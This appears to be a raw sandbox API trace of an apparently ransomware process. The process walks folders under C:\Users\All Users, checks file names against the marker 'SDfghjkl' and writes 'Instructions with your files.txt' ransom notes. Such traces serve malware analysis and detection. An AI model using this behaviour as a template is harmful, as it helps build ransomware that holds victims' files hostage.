[0131.763] GetProcessHeap () returned 0x810000
[0131.763] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.763] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Documents\\*") returned 34
[0131.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafca67e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.763] GetProcessHeap () returned 0x810000
[0131.763] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.763] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
[0131.763] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Favorites") returned 32
[0131.763] GetProcessHeap () returned 0x810000
[0131.763] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.763] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Favorites\\*") returned 34
[0131.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafca67e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0131.763] GetProcessHeap () returned 0x810000
[0131.763] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.763] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5766ea0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.763] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Instructions with your files.txt") returned 55
[0131.763] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.763] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0131.763] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft") returned 32
[0131.763] GetProcessHeap () returned 0x810000
[0131.763] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.764] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\*") returned 34
[0131.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.764] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\.") returned 34
[0131.764] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.764] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.764] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\..") returned 35
[0131.764] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.764] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1
[0131.764] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance") returned 43
[0131.764] GetProcessHeap () returned 0x810000
[0131.764] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.764] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\*") returned 45
[0131.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.764] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\.") returned 45
[0131.764] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.764] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\..") returned 46
[0131.764] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
[0131.764] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned 50
[0131.764] GetProcessHeap () returned 0x810000
[0131.764] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.764] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*") returned 52
[0131.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.764] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\.") returned 52
[0131.764] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.764] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\..") returned 53
[0131.765] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1
[0131.765] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned 54
[0131.765] GetProcessHeap () returned 0x810000
[0131.765] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.765] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*") returned 56
[0131.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.765] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\.") returned 56
[0131.765] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.765] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\..") returned 57
[0131.765] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0131.765] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned 60
[0131.765] GetProcessHeap () returned 0x810000
[0131.765] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.765] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*") returned 62
[0131.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.765] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\.") returned 62
[0131.765] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\..") returned 63
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned 80
[0131.766] StrStrIW (lpFirst="Help_CValidator.H1D", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned 82
[0131.766] StrStrIW (lpFirst="Help_MKWD_AssetId.H1W", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned 82
[0131.766] StrStrIW (lpFirst="Help_MKWD_BestBet.H1W", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned 79
[0131.766] StrStrIW (lpFirst="Help_MTOC_help.H1H", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned 80
[0131.766] StrStrIW (lpFirst="Help_MValidator.H1D", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned 80
[0131.766] StrStrIW (lpFirst="Help_MValidator.Lck", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 107
[0131.766] StrStrIW (lpFirst="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0867480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.766] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Instructions with your files.txt") returned 93
[0131.766] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.766] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0867480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0867480, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.767] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Instructions with your files.txt") returned 93
[0131.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.767] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.768] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.768] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.768] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
